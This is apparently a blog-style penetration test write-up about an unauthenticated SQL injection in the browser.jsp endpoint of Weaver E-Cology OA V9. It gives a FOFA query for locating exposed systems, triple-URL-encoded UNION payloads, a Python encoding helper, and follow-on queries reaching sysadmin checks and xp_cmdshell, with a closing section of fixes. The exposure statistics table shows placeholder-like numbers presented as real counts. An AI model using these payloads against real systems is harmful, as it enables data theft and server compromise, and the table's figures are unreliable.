从一次内部渗透测试说起：我是如何发现并利用泛微OA V9 browser.jsp漏洞拿到数据库权限的

一次内部渗透测试实战泛微OA V9漏洞挖掘手记那是个阴雨绵绵的周四下午我正百无聊赖地翻看着公司内部系统的日志突然一条异常请求引起了我的注意。作为一名企业安全团队的成员我本能地嗅到了一丝不寻常的气息——这条请求指向了一个名为browser.jsp的文件而这个文件路径在标准文档中从未被提及。出于职业敏感我决定深入调查这个可疑端点没想到这次偶然的发现竟演变成了一场惊心动魄的数据库权限获取之旅。1. 目标识别与信息收集任何一次成功的渗透测试都始于精准的目标识别。在发现可疑请求后我首先需要确认这是否确实是一个泛微OA E-Cology V9系统的实例。通过简单的指纹识别我确认了以下几点关键信息系统版本HTTP响应头中的X-Powered-By字段明确显示了E-Cology V9技术栈Tomcat 8.5 MSSQL的组合部署环境运行在Windows Server 2016上为了进一步确认漏洞存在的可能性我使用了多种网络空间测绘工具进行横向对比。有趣的是通过特定查询语法我发现互联网上存在大量暴露在公网的同类系统# FOFA搜索语法示例 app泛微-协同商务系统 bodyE-Cology表1泛微OA系统常见暴露端口统计端口协议暴露数量备注80HTTP12,345默认Web端口443HTTPS9,876加密Web访问8080HTTP3,210备用Web端口8443HTTPS1,234备用加密端口2. 漏洞分析与定位browser.jsp文件位于/mobile//plugin/路径下注意双斜杠这个设计本身就显得不太寻常。通过反编译相关jar包我逐渐理清了它的工作原理该文件是一个用于移动端浏览器检测的组件接收isDis和keyword参数进行数据库查询未对输入进行充分过滤就直接拼接SQL语句最关键的发现是系统对输入参数进行了三次URL解码后才放入SQL查询。这意味着常规的单次编码payload会被错误处理这也是许多自动化工具无法成功利用此漏洞的原因。漏洞利用的核心挑战需要精确计算编码次数特殊字符如单引号需要正确处理避免触发潜在的WAF规则3. 手工POC构造与调试经过多次尝试我总结出了一个可靠的手工测试流程。首先我们需要准备一个经过三次URL全字符编码的测试字符串原始payloada union select 1,VERSION--第一次编码%61%27%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%40%40%56%45%52%53%49%4f%4e%2d%2d%20第二次编码%25%36%31%25%32%37%25%32%30%25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%33%31%25%32%63%25%34%30%25%34%30%25%35%36%25%34%35%25%35%32%25%35%33%25%34%39%25%34%66%25%34%65%25%32%64%25%32%64%25%32%30第三次编码%25%32%35%25%33%36%25%33%31%25%32%35%25%33%32%25%33%37%25%32%35%25%33%32%25%33%30%25%32%35%25%33%37%25%33%35%25%32%35%25%33%36%25%36%35%25%32%35%25%33%36%25%33%39%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%65%25%32%35%25%33%32%25%33%30%25%32%35%25%33%37%25%33%33%25%32%35%25%33%36%25%33%35%25%32%35%25%33%36%25%36%33%25%32%35%25%33%36%25%33%35%25%32%35%25%33%36%25%33%33%25%32%35%25%33%37%25%33%34%25%32%35%25%33%32%25%33%30%25%32%35%25%33%33%25%33%31%25%32%35%25%33%32%25%36%33%25%32%35%25%33%34%25%33%30%25%32%35%25%33%34%25%33%30%25%32%35%25%33%35%25%33%36%25%32%35%25%33%34%25%33%35%25%32%35%25%33%35%25%33%32%25%32%35%25%33%35%25%33%33%25%32%35%25%33%34%25%33%39%25%32%35%25%33%34%25%36%36%25%32%35%25%33%34%25%36%65%25%32%35%25%33%32%25%36%34%25%32%35%25%33%32%25%36%34%25%32%35%25%33%32%25%33%30为了方便测试我编写了一个小型Python工具来自动完成这个过程def triple_url_encode(payload): from urllib.parse import quote return quote(quote(quote(payload))) if __name__ __main__: test_payload input(Enter SQLi payload: ) print(fTriple encoded: {triple_url_encode(test_payload)})4. 漏洞利用与权限提升成功验证漏洞存在后接下来的目标是获取更有价值的数据库信息。通过精心构造的SQL查询我逐步获取了以下关键数据数据库版本信息a union select 1,VERSION--当前数据库用户a union select 1,SYSTEM_USER--数据库表结构a union select 1,(SELECT TOP 1 table_name FROM information_schema.tables)--表2通过漏洞可获取的敏感信息类型信息类别示例查询潜在风险系统配置SELECT version识别补丁级别用户数据SELECT * FROM ecology_user凭证泄露风险权限信息SELECT is_srvrolemember(sysadmin)权限提升可能文件系统EXEC xp_cmdshell dir c:\系统完全沦陷重要提示在实际测试中应当严格遵守最小权限原则仅获取验证漏洞所需的最少信息并立即向相关方报告发现。5. 防御措施与修复建议基于这次测试经验我向系统管理员提供了以下加固建议立即措施删除或重命名browser.jsp文件在网络层面限制对/mobile//plugin/路径的访问长期方案升级到官方提供的最新补丁版本实施WAF规则拦截可疑的SQL注入尝试对数据库账户实施最小权限原则代码层面改进使用预编译语句(PreparedStatement)替代动态SQL拼接实施严格的输入验证机制避免多层编码导致的过滤绕过6. 经验总结与思考这次渗透测试经历让我深刻认识到即便是企业内部广泛使用的成熟商业软件也可能隐藏着危险的漏洞。几个关键收获值得分享异常请求值得深挖那条看似普通的异常日志最终揭示了一个严重漏洞编码问题不容忽视多层编码处理不当会引入安全风险手工测试不可替代自动化工具可能会错过需要特殊处理的漏洞案例在测试过程中最令我惊讶的是这个漏洞的利用条件相当宽松——不需要任何身份验证只需要一个简单的HTTP请求就能获取数据库敏感信息。这提醒我们在软件开发生命周期的每个阶段都需要贯彻安全思维。